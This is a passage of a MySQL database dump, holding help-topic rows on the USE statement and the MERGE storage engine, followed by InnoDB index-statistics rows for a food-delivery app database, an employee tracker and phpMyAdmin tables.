a single line. Newlines in\ndatabase names are not supported.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/use.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/use.html'),(704,'MERGE',52,'The MERGE storage engine, also known as the MRG_MyISAM engine, is a\ncollection of identical MyISAM tables that can be used as one.\n\"Identical\" means that all tables have identical column data types and\nindex information. You cannot merge MyISAM tables in which the columns\nare listed in a different order, do not have exactly the same data\ntypes in corresponding columns, or have the indexes in different order.\nHowever, any or all of the MyISAM tables can be compressed with\nmyisampack. See\nhttps://dev.mysql.com/doc/refman/8.0/en/myisampack.html. Differences\nbetween tables such as these do not matter:\n\no Names of corresponding columns and indexes can differ.\n\no Comments for tables, columns, and indexes can differ.\n\no Table options such as AVG_ROW_LENGTH, MAX_ROWS, or PACK_KEYS can\n differ.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/merge-storage-engine.html\n\n','mysql> CREATE TABLE t1 (\n -> a INT NOT NULL AUTO_INCREMENT PRIMARY KEY,\n -> message CHAR(20)) ENGINE=MyISAM;\nmysql> CREATE TABLE t2 (\n -> a INT NOT NULL AUTO_INCREMENT PRIMARY KEY,\n -> message CHAR(20)) ENGINE=MyISAM;\nmysql> INSERT INTO t1 (message) VALUES (\'Testing\'),(\'table\'),(\'t1\');\nmysql> INSERT INTO t2 (message) VALUES (\'Testing\'),(\'table\'),(\'t2\');\nmysql> CREATE TABLE total (\n -> a INT NOT NULL AUTO_INCREMENT,\n -> message CHAR(20), INDEX(a))\n -> ENGINE=MERGE UNION=(t1,t2) INSERT_METHOD=LAST;\n','https://dev.mysql.com/doc/refman/8.0/en/merge-storage-engine.html'); ./posacct_project/pos_db_backup.sql:INSERT IGNORE INTO `innodb_index_stats` VALUES ('doordash','delivery_persons','PRIMARY','2025-12-28 04:17:58','n_diff_pfx01',3,1,'id'),('doordash','delivery_persons','PRIMARY','2025-12-28 04:17:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','delivery_persons','PRIMARY','2025-12-28 04:17:58','size',1,NULL,'Number of pages in the index'),('doordash','delivery_persons','user_id','2025-12-28 04:17:58','n_diff_pfx01',3,1,'user_id'),('doordash','delivery_persons','user_id','2025-12-28 04:17:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','delivery_persons','user_id','2025-12-28 04:17:58','size',1,NULL,'Number of pages in the index'),('doordash','menu_items','PRIMARY','2025-12-28 04:07:38','n_diff_pfx01',21,1,'id'),('doordash','menu_items','PRIMARY','2025-12-28 04:07:38','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','menu_items','PRIMARY','2025-12-28 04:07:38','size',1,NULL,'Number of pages in the index'),('doordash','menu_items','restaurant_id','2025-12-28 04:07:38','n_diff_pfx01',8,1,'restaurant_id'),('doordash','menu_items','restaurant_id','2025-12-28 04:07:38','n_diff_pfx02',21,1,'restaurant_id,id'),('doordash','menu_items','restaurant_id','2025-12-28 04:07:38','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','menu_items','restaurant_id','2025-12-28 04:07:38','size',1,NULL,'Number of pages in the index'),('doordash','merchant_stripe_accounts','PRIMARY','2026-01-13 02:10:30','n_diff_pfx01',2,1,'id'),('doordash','merchant_stripe_accounts','PRIMARY','2026-01-13 02:10:30','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','merchant_stripe_accounts','PRIMARY','2026-01-13 02:10:30','size',1,NULL,'Number of pages in the index'),('doordash','merchant_stripe_accounts','restaurant_id','2026-01-13 02:10:30','n_diff_pfx01',2,1,'restaurant_id'),('doordash','merchant_stripe_accounts','restaurant_id','2026-01-13 02:10:30','n_diff_pfx02',2,1,'restaurant_id,id'),('doordash','merchant_stripe_accounts','restaurant_id','2026-01-13 02:10:30','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','merchant_stripe_accounts','restaurant_id','2026-01-13 02:10:30','size',1,NULL,'Number of pages in the index'),('doordash','merchant_stripe_accounts','stripe_account_id','2026-01-13 02:10:30','n_diff_pfx01',2,1,'stripe_account_id'),('doordash','merchant_stripe_accounts','stripe_account_id','2026-01-13 02:10:30','n_diff_pfx02',2,1,'stripe_account_id,id'),('doordash','merchant_stripe_accounts','stripe_account_id','2026-01-13 02:10:30','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','merchant_stripe_accounts','stripe_account_id','2026-01-13 02:10:30','size',1,NULL,'Number of pages in the index'),('doordash','merchant_stripe_accounts','unique_user_restaurant','2026-01-13 02:10:30','n_diff_pfx01',2,1,'user_id'),('doordash','merchant_stripe_accounts','unique_user_restaurant','2026-01-13 02:10:30','n_diff_pfx02',2,1,'user_id,restaurant_id'),('doordash','merchant_stripe_accounts','unique_user_restaurant','2026-01-13 02:10:30','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','merchant_stripe_accounts','unique_user_restaurant','2026-01-13 02:10:30','size',1,NULL,'Number of pages in the index'),('doordash','order_items','PRIMARY','2026-02-10 06:34:33','n_diff_pfx01',75,1,'id'),('doordash','order_items','PRIMARY','2026-02-10 06:34:33','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','order_items','PRIMARY','2026-02-10 06:34:33','size',1,NULL,'Number of pages in the index'),('doordash','order_items','menu_item_id','2026-02-10 06:34:33','n_diff_pfx01',14,1,'menu_item_id'),('doordash','order_items','menu_item_id','2026-02-10 06:34:33','n_diff_pfx02',75,1,'menu_item_id,id'),('doordash','order_items','menu_item_id','2026-02-10 06:34:33','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','order_items','menu_item_id','2026-02-10 06:34:33','size',1,NULL,'Number of pages in the index'),('doordash','order_items','order_id','2026-02-10 06:34:33','n_diff_pfx01',75,1,'order_id'),('doordash','order_items','order_id','2026-02-10 06:34:33','n_diff_pfx02',75,1,'order_id,id'),('doordash','order_items','order_id','2026-02-10 06:34:33','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','order_items','order_id','2026-02-10 06:34:33','size',1,NULL,'Number of pages in the index'),('doordash','orders','PRIMARY','2026-02-10 06:34:23','n_diff_pfx01',75,1,'id'),('doordash','orders','PRIMARY','2026-02-10 06:34:23','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','orders','PRIMARY','2026-02-10 06:34:23','size',1,NULL,'Number of pages in the index'),('doordash','orders','customer_id','2026-02-10 06:34:23','n_diff_pfx01',4,1,'customer_id'),('doordash','orders','customer_id','2026-02-10 06:34:23','n_diff_pfx02',75,1,'customer_id,id'),('doordash','orders','customer_id','2026-02-10 06:34:23','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','orders','customer_id','2026-02-10 06:34:23','size',1,NULL,'Number of pages in the index'),('doordash','orders','delivery_person_id','2026-02-10 06:34:23','n_diff_pfx01',4,1,'delivery_person_id'),('doordash','orders','delivery_person_id','2026-02-10 06:34:23','n_diff_pfx02',75,1,'delivery_person_id,id'),('doordash','orders','delivery_person_id','2026-02-10 06:34:23','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','orders','delivery_person_id','2026-02-10 06:34:23','size',1,NULL,'Number of pages in the index'),('doordash','orders','idx_payment_intent','2026-02-10 06:34:23','n_diff_pfx01',1,1,'payment_intent_id'),('doordash','orders','idx_payment_intent','2026-02-10 06:34:23','n_diff_pfx02',75,1,'payment_intent_id,id'),('doordash','orders','idx_payment_intent','2026-02-10 06:34:23','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','orders','idx_payment_intent','2026-02-10 06:34:23','size',1,NULL,'Number of pages in the index'),('doordash','orders','idx_payment_status','2026-02-10 06:34:23','n_diff_pfx01',1,1,'payment_status'),('doordash','orders','idx_payment_status','2026-02-10 06:34:23','n_diff_pfx02',75,1,'payment_status,id'),('doordash','orders','idx_payment_status','2026-02-10 06:34:23','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','orders','idx_payment_status','2026-02-10 06:34:23','size',1,NULL,'Number of pages in the index'),('doordash','orders','restaurant_id','2026-02-10 06:34:23','n_diff_pfx01',7,1,'restaurant_id'),('doordash','orders','restaurant_id','2026-02-10 06:34:23','n_diff_pfx02',75,1,'restaurant_id,id'),('doordash','orders','restaurant_id','2026-02-10 06:34:23','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','orders','restaurant_id','2026-02-10 06:34:23','size',1,NULL,'Number of pages in the index'),('doordash','payments','PRIMARY','2025-11-20 06:53:58','n_diff_pfx01',3,1,'id'),('doordash','payments','PRIMARY','2025-11-20 06:53:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','payments','PRIMARY','2025-11-20 06:53:58','size',1,NULL,'Number of pages in the index'),('doordash','payments','idx_customer_id','2025-11-20 06:53:58','n_diff_pfx01',2,1,'customer_id'),('doordash','payments','idx_customer_id','2025-11-20 06:53:58','n_diff_pfx02',3,1,'customer_id,id'),('doordash','payments','idx_customer_id','2025-11-20 06:53:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','payments','idx_customer_id','2025-11-20 06:53:58','size',1,NULL,'Number of pages in the index'),('doordash','payments','idx_order_id','2025-11-20 06:53:58','n_diff_pfx01',3,1,'order_id'),('doordash','payments','idx_order_id','2025-11-20 06:53:58','n_diff_pfx02',3,1,'order_id,id'),('doordash','payments','idx_order_id','2025-11-20 06:53:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','payments','idx_order_id','2025-11-20 06:53:58','size',1,NULL,'Number of pages in the index'),('doordash','payments','idx_payment_intent_id','2025-11-20 06:53:58','n_diff_pfx01',3,1,'payment_intent_id'),('doordash','payments','idx_payment_intent_id','2025-11-20 06:53:58','n_diff_pfx02',3,1,'payment_intent_id,id'),('doordash','payments','idx_payment_intent_id','2025-11-20 06:53:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','payments','idx_payment_intent_id','2025-11-20 06:53:58','size',1,NULL,'Number of pages in the index'),('doordash','payments','idx_payments_created_at','2025-11-20 06:53:58','n_diff_pfx01',3,1,'created_at'),('doordash','payments','idx_payments_created_at','2025-11-20 06:53:58','n_diff_pfx02',3,1,'created_at,id'),('doordash','payments','idx_payments_created_at','2025-11-20 06:53:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','payments','idx_payments_created_at','2025-11-20 06:53:58','size',1,NULL,'Number of pages in the index'),('doordash','payments','idx_payments_customer_id','2025-11-20 06:53:58','n_diff_pfx01',2,1,'customer_id'),('doordash','payments','idx_payments_customer_id','2025-11-20 06:53:58','n_diff_pfx02',3,1,'customer_id,id'),('doordash','payments','idx_payments_customer_id','2025-11-20 06:53:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','payments','idx_payments_customer_id','2025-11-20 06:53:58','size',1,NULL,'Number of pages in the index'),('doordash','payments','idx_payments_payment_method','2025-11-20 06:53:58','n_diff_pfx01',1,1,'payment_method'),('doordash','payments','idx_payments_payment_method','2025-11-20 06:53:58','n_diff_pfx02',3,1,'payment_method,id'),('doordash','payments','idx_payments_payment_method','2025-11-20 06:53:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','payments','idx_payments_payment_method','2025-11-20 06:53:58','size',1,NULL,'Number of pages in the index'),('doordash','payments','idx_payments_status','2025-11-20 06:53:58','n_diff_pfx01',1,1,'status'),('doordash','payments','idx_payments_status','2025-11-20 06:53:58','n_diff_pfx02',3,1,'status,id'),('doordash','payments','idx_payments_status','2025-11-20 06:53:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','payments','idx_payments_status','2025-11-20 06:53:58','size',1,NULL,'Number of pages in the index'),('doordash','payments','idx_status','2025-11-20 06:53:58','n_diff_pfx01',1,1,'status'),('doordash','payments','idx_status','2025-11-20 06:53:58','n_diff_pfx02',3,1,'status,id'),('doordash','payments','idx_status','2025-11-20 06:53:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','payments','idx_status','2025-11-20 06:53:58','size',1,NULL,'Number of pages in the index'),('doordash','payments','payment_intent_id','2025-11-20 06:53:58','n_diff_pfx01',3,1,'payment_intent_id'),('doordash','payments','payment_intent_id','2025-11-20 06:53:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','payments','payment_intent_id','2025-11-20 06:53:58','size',1,NULL,'Number of pages in the index'),('doordash','payments','payment_intent_id_2','2025-11-20 06:53:58','n_diff_pfx01',3,1,'payment_intent_id'),('doordash','payments','payment_intent_id_2','2025-11-20 06:53:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','payments','payment_intent_id_2','2025-11-20 06:53:58','size',1,NULL,'Number of pages in the index'),('doordash','refunds','PRIMARY','2025-11-16 16:47:58','n_diff_pfx01',0,1,'id'),('doordash','refunds','PRIMARY','2025-11-16 16:47:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','refunds','PRIMARY','2025-11-16 16:47:58','size',1,NULL,'Number of pages in the index'),('doordash','refunds','idx_refund_id','2025-11-16 16:47:58','n_diff_pfx01',0,1,'refund_id'),('doordash','refunds','idx_refund_id','2025-11-16 16:47:58','n_diff_pfx02',0,1,'refund_id,id'),('doordash','refunds','idx_refund_id','2025-11-16 16:47:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','refunds','idx_refund_id','2025-11-16 16:47:58','size',1,NULL,'Number of pages in the index'),('doordash','refunds','idx_refund_payment_intent','2025-11-16 16:47:58','n_diff_pfx01',0,1,'payment_intent_id'),('doordash','refunds','idx_refund_payment_intent','2025-11-16 16:47:58','n_diff_pfx02',0,1,'payment_intent_id,id'),('doordash','refunds','idx_refund_payment_intent','2025-11-16 16:47:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','refunds','idx_refund_payment_intent','2025-11-16 16:47:58','size',1,NULL,'Number of pages in the index'),('doordash','restaurants','PRIMARY','2025-11-05 12:21:16','n_diff_pfx01',18,1,'id'),('doordash','restaurants','PRIMARY','2025-11-05 12:21:16','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','restaurants','PRIMARY','2025-11-05 12:21:16','size',1,NULL,'Number of pages in the index'),('doordash','stripe_otps','PRIMARY','2026-01-13 02:09:41','n_diff_pfx01',2,1,'id'),('doordash','stripe_otps','PRIMARY','2026-01-13 02:09:41','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','stripe_otps','PRIMARY','2026-01-13 02:09:41','size',1,NULL,'Number of pages in the index'),('doordash','stripe_otps','unique_email_restaurant','2026-01-13 02:09:41','n_diff_pfx01',2,1,'email'),('doordash','stripe_otps','unique_email_restaurant','2026-01-13 02:09:41','n_diff_pfx02',2,1,'email,restaurant_id'),('doordash','stripe_otps','unique_email_restaurant','2026-01-13 02:09:41','n_diff_pfx03',2,1,'email,restaurant_id,user_id'),('doordash','stripe_otps','unique_email_restaurant','2026-01-13 02:09:41','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','stripe_otps','unique_email_restaurant','2026-01-13 02:09:41','size',1,NULL,'Number of pages in the index'),('doordash','user_restaurants','PRIMARY','2026-01-09 14:25:57','n_diff_pfx01',13,1,'id'),('doordash','user_restaurants','PRIMARY','2026-01-09 14:25:57','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','user_restaurants','PRIMARY','2026-01-09 14:25:57','size',1,NULL,'Number of pages in the index'),('doordash','user_restaurants','restaurant_id','2026-01-09 14:25:57','n_diff_pfx01',8,1,'restaurant_id'),('doordash','user_restaurants','restaurant_id','2026-01-09 14:25:57','n_diff_pfx02',13,1,'restaurant_id,id'),('doordash','user_restaurants','restaurant_id','2026-01-09 14:25:57','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','user_restaurants','restaurant_id','2026-01-09 14:25:57','size',1,NULL,'Number of pages in the index'),('doordash','user_restaurants','unique_user_restaurant','2026-01-09 14:25:57','n_diff_pfx01',5,1,'user_id'),('doordash','user_restaurants','unique_user_restaurant','2026-01-09 14:25:57','n_diff_pfx02',13,1,'user_id,restaurant_id'),('doordash','user_restaurants','unique_user_restaurant','2026-01-09 14:25:57','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','user_restaurants','unique_user_restaurant','2026-01-09 14:25:57','size',1,NULL,'Number of pages in the index'),('doordash','users','PRIMARY','2025-12-28 04:16:05','n_diff_pfx01',15,1,'id'),('doordash','users','PRIMARY','2025-12-28 04:16:05','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','users','PRIMARY','2025-12-28 04:16:05','size',1,NULL,'Number of pages in the index'),('doordash','users','email','2025-12-28 04:16:05','n_diff_pfx01',15,1,'email'),('doordash','users','email','2025-12-28 04:16:05','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('doordash','users','email','2025-12-28 04:16:05','size',1,NULL,'Number of pages in the index'),('employee_performance_tracker','assigned_tasks','PRIMARY','2025-10-31 02:40:07','n_diff_pfx01',30,1,'id'),('employee_performance_tracker','assigned_tasks','PRIMARY','2025-10-31 02:40:07','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('employee_performance_tracker','assigned_tasks','PRIMARY','2025-10-31 02:40:07','size',1,NULL,'Number of pages in the index'),('employee_performance_tracker','staff','PRIMARY','2025-10-31 01:20:36','n_diff_pfx01',2,1,'id'),('employee_performance_tracker','staff','PRIMARY','2025-10-31 01:20:36','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('employee_performance_tracker','staff','PRIMARY','2025-10-31 01:20:36','size',1,NULL,'Number of pages in the index'),('employee_performance_tracker','staff_tasks','PRIMARY','2025-10-19 21:03:41','n_diff_pfx01',0,1,'id'),('employee_performance_tracker','staff_tasks','PRIMARY','2025-10-19 21:03:41','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('employee_performance_tracker','staff_tasks','PRIMARY','2025-10-19 21:03:41','size',1,NULL,'Number of pages in the index'),('employee_performance_tracker','staff_tasks','staff_id','2025-10-19 21:03:41','n_diff_pfx01',0,1,'staff_id'),('employee_performance_tracker','staff_tasks','staff_id','2025-10-19 21:03:41','n_diff_pfx02',0,1,'staff_id,task_id'),('employee_performance_tracker','staff_tasks','staff_id','2025-10-19 21:03:41','n_diff_pfx03',0,1,'staff_id,task_id,date'),('employee_performance_tracker','staff_tasks','staff_id','2025-10-19 21:03:41','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('employee_performance_tracker','staff_tasks','staff_id','2025-10-19 21:03:41','size',1,NULL,'Number of pages in the index'),('employee_performance_tracker','tasks','PRIMARY','2025-10-21 18:49:29','n_diff_pfx01',12,1,'id'),('employee_performance_tracker','tasks','PRIMARY','2025-10-21 18:49:29','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('employee_performance_tracker','tasks','PRIMARY','2025-10-21 18:49:29','size',1,NULL,'Number of pages in the index'),('mysql','component','PRIMARY','2025-07-07 13:39:40','n_diff_pfx01',1,1,'component_id'),('mysql','component','PRIMARY','2025-07-07 13:39:40','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('mysql','component','PRIMARY','2025-07-07 13:39:40','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__bookmark','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'id'),('phpmyadmin','pma__bookmark','PRIMARY','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__bookmark','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__central_columns','PRIMARY','2025-07-03 14:00:44','n_diff_pfx01',0,1,'db_name'),('phpmyadmin','pma__central_columns','PRIMARY','2025-07-03 14:00:44','n_diff_pfx02',0,1,'db_name,col_name'),('phpmyadmin','pma__central_columns','PRIMARY','2025-07-03 14:00:44','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__central_columns','PRIMARY','2025-07-03 14:00:44','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__column_info','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'id'),('phpmyadmin','pma__column_info','PRIMARY','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__column_info','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__column_info','db_name','2025-07-03 14:00:45','n_diff_pfx01',0,1,'db_name'),('phpmyadmin','pma__column_info','db_name','2025-07-03 14:00:45','n_diff_pfx02',0,1,'db_name,table_name'),('phpmyadmin','pma__column_info','db_name','2025-07-03 14:00:45','n_diff_pfx03',0,1,'db_name,table_name,column_name'),('phpmyadmin','pma__column_info','db_name','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__column_info','db_name','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__designer_settings','PRIMARY','2025-07-03 14:00:44','n_diff_pfx01',0,1,'username'),('phpmyadmin','pma__designer_settings','PRIMARY','2025-07-03 14:00:44','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__designer_settings','PRIMARY','2025-07-03 14:00:44','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__export_templates','PRIMARY','2025-07-03 14:00:46','n_diff_pfx01',0,1,'id'),('phpmyadmin','pma__export_templates','PRIMARY','2025-07-03 14:00:46','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__export_templates','PRIMARY','2025-07-03 14:00:46','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__export_templates','u_user_type_template','2025-07-03 14:00:46','n_diff_pfx01',0,1,'username'),('phpmyadmin','pma__export_templates','u_user_type_template','2025-07-03 14:00:46','n_diff_pfx02',0,1,'username,export_type'),('phpmyadmin','pma__export_templates','u_user_type_template','2025-07-03 14:00:46','n_diff_pfx03',0,1,'username,export_type,template_name'),('phpmyadmin','pma__export_templates','u_user_type_template','2025-07-03 14:00:46','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__export_templates','u_user_type_template','2025-07-03 14:00:46','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__favorite','PRIMARY','2025-07-03 14:00:44','n_diff_pfx01',0,1,'username'),('phpmyadmin','pma__favorite','PRIMARY','2025-07-03 14:00:44','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__favorite','PRIMARY','2025-07-03 14:00:44','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__history','PRIMARY','2025-07-03 14:00:46','n_diff_pfx01',0,1,'id'),('phpmyadmin','pma__history','PRIMARY','2025-07-03 14:00:46','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__history','PRIMARY','2025-07-03 14:00:46','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__history','username','2025-07-03 14:00:46','n_diff_pfx01',0,1,'username'),('phpmyadmin','pma__history','username','2025-07-03 14:00:46','n_diff_pfx02',0,1,'username,db'),('phpmyadmin','pma__history','username','2025-07-03 14:00:46','n_diff_pfx03',0,1,'username,db,table'),('phpmyadmin','pma__history','username','2025-07-03 14:00:46','n_diff_pfx04',0,1,'username,db,table,timevalue'),('phpmyadmin','pma__history','username','2025-07-03 14:00:46','n_diff_pfx05',0,1,'username,db,table,timevalue,id'),('phpmyadmin','pma__history','username','2025-07-03 14:00:46','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__history','username','2025-07-03 14:00:46','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__navigationhiding','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'username'),('phpmyadmin','pma__navigationhiding','PRIMARY','2025-07-03 14:00:45','n_diff_pfx02',0,1,'username,item_name'),('phpmyadmin','pma__navigationhiding','PRIMARY','2025-07-03 14:00:45','n_diff_pfx03',0,1,'username,item_name,item_type'),('phpmyadmin','pma__navigationhiding','PRIMARY','2025-07-03 14:00:45','n_diff_pfx04',0,1,'username,item_name,item_type,db_name'),('phpmyadmin','pma__navigationhiding','PRIMARY','2025-07-03 14:00:45','n_diff_pfx05',0,1,'username,item_name,item_type,db_name,table_name'),('phpmyadmin','pma__navigationhiding','PRIMARY','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__navigationhiding','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__pdf_pages','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'page_nr'),('phpmyadmin','pma__pdf_pages','PRIMARY','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__pdf_pages','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__pdf_pages','db_name','2025-07-03 14:00:45','n_diff_pfx01',0,1,'db_name'),('phpmyadmin','pma__pdf_pages','db_name','2025-07-03 14:00:45','n_diff_pfx02',0,1,'db_name,page_nr'),('phpmyadmin','pma__pdf_pages','db_name','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__pdf_pages','db_name','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__recent','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'username'),('phpmyadmin','pma__recent','PRIMARY','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__recent','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__relation','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'master_db'),('phpmyadmin','pma__relation','PRIMARY','2025-07-03 14:00:45','n_diff_pfx02',0,1,'master_db,master_table'),('phpmyadmin','pma__relation','PRIMARY','2025-07-03 14:00:45','n_diff_pfx03',0,1,'master_db,master_table,master_field'),('phpmyadmin','pma__relation','PRIMARY','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__relation','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__relation','foreign_field','2025-07-03 14:00:45','n_diff_pfx01',0,1,'foreign_db'),('phpmyadmin','pma__relation','foreign_field','2025-07-03 14:00:45','n_diff_pfx02',0,1,'foreign_db,foreign_table'),('phpmyadmin','pma__relation','foreign_field','2025-07-03 14:00:45','n_diff_pfx03',0,1,'foreign_db,foreign_table,master_db'),('phpmyadmin','pma__relation','foreign_field','2025-07-03 14:00:45','n_diff_pfx04',0,1,'foreign_db,foreign_table,master_db,master_table'),('phpmyadmin','pma__relation','foreign_field','2025-07-03 14:00:45','n_diff_pfx05',0,1,'foreign_db,foreign_table,master_db,master_table,master_field'),('phpmyadmin','pma__relation','foreign_field','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__relation','foreign_field','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__savedsearches','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'id'),('phpmyadmin','pma__savedsearches','PRIMARY','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__savedsearches','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__savedsearches','u_savedsearches_username_dbname','2025-07-03 14:00:45','n_diff_pfx01',0,1,'username'),('phpmyadmin','pma__savedsearches','u_savedsearches_username_dbname','2025-07-03 14:00:45','n_diff_pfx02',0,1,'username,db_name'),('phpmyadmin','pma__savedsearches','u_savedsearches_username_dbname','2025-07-03 14:00:45','n_diff_pfx03',0,1,'username,db_name,search_name'),('phpmyadmin','pma__savedsearches','u_savedsearches_username_dbname','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__savedsearches','u_savedsearches_username_dbname','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__table_coords','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'db_name'),('phpmyadmin','pma__table_coords','PRIMARY','2025-07-03 14:00:45','n_diff_pfx02',0,1,'db_name,table_name'),('phpmyadmin','pma__table_coords','PRIMARY','2025-07-03 14:00:45','n_diff_pfx03',0,1,'db_name,table_name,pdf_page_number'),('phpmyadmin','pma__table_coords','PRIMARY','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__table_coords','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__table_info','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'db_name'),('phpmyadmin','pma__table_info','PRIMARY','2025-07-03 14:00:45','n_diff_pfx02',0,1,'db_name,table_name'),('phpmyadmin','pma__table_info','PRIMARY','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__table_info','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__table_uiprefs','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'username'),('phpmyadmin','pma__table_uiprefs','PRIMARY','2025-07-03 14:00:45','n_diff_pfx02',0,1,'username,db_name'),('phpmyadmin','pma__table_uiprefs','PRIMARY','2025-07-03 14:00:45','n_diff_pfx03',0,1,'username,db_name,table_name'),('phpmyadmin','pma__table_uiprefs','PRIMARY','2025-07-03 